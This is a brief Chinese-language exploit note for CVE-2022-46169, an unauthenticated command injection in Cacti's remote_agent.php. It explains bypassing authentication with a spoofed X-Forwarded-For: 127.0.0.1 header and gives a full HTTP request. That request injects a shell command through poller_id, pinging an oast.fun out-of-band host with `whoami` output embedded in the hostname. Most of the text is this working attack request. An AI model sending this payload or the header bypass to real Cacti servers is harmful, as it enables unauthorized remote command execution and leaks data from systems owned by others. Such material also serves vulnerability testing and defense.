CVE-2022-46169 Cacti remote_agent.php 未授权命令注入漏洞。
添加 X-Forwarded-For 请求头即可绕过认证,注意其值并非固定值。


使用 Burp Intruder 对 host_id 和 local_data_ids 的值进行模糊测试。


命令注入点位于 poller_id 参数。
GET /cacti/remote_agent.php?action=polldata&poller_id=;ping%20-c%202%20`whoami`.ccsy8s32vtc0000x5nagg8rkyboyyyyyc.oast.fun&host_id=2&local_data_ids[]=6 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (X11; U; Linux armv6l; rv 1.8.1.5pre) Gecko/20070619 Minimo/0.020
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
X-Forwarded-For: 127.0.0.1
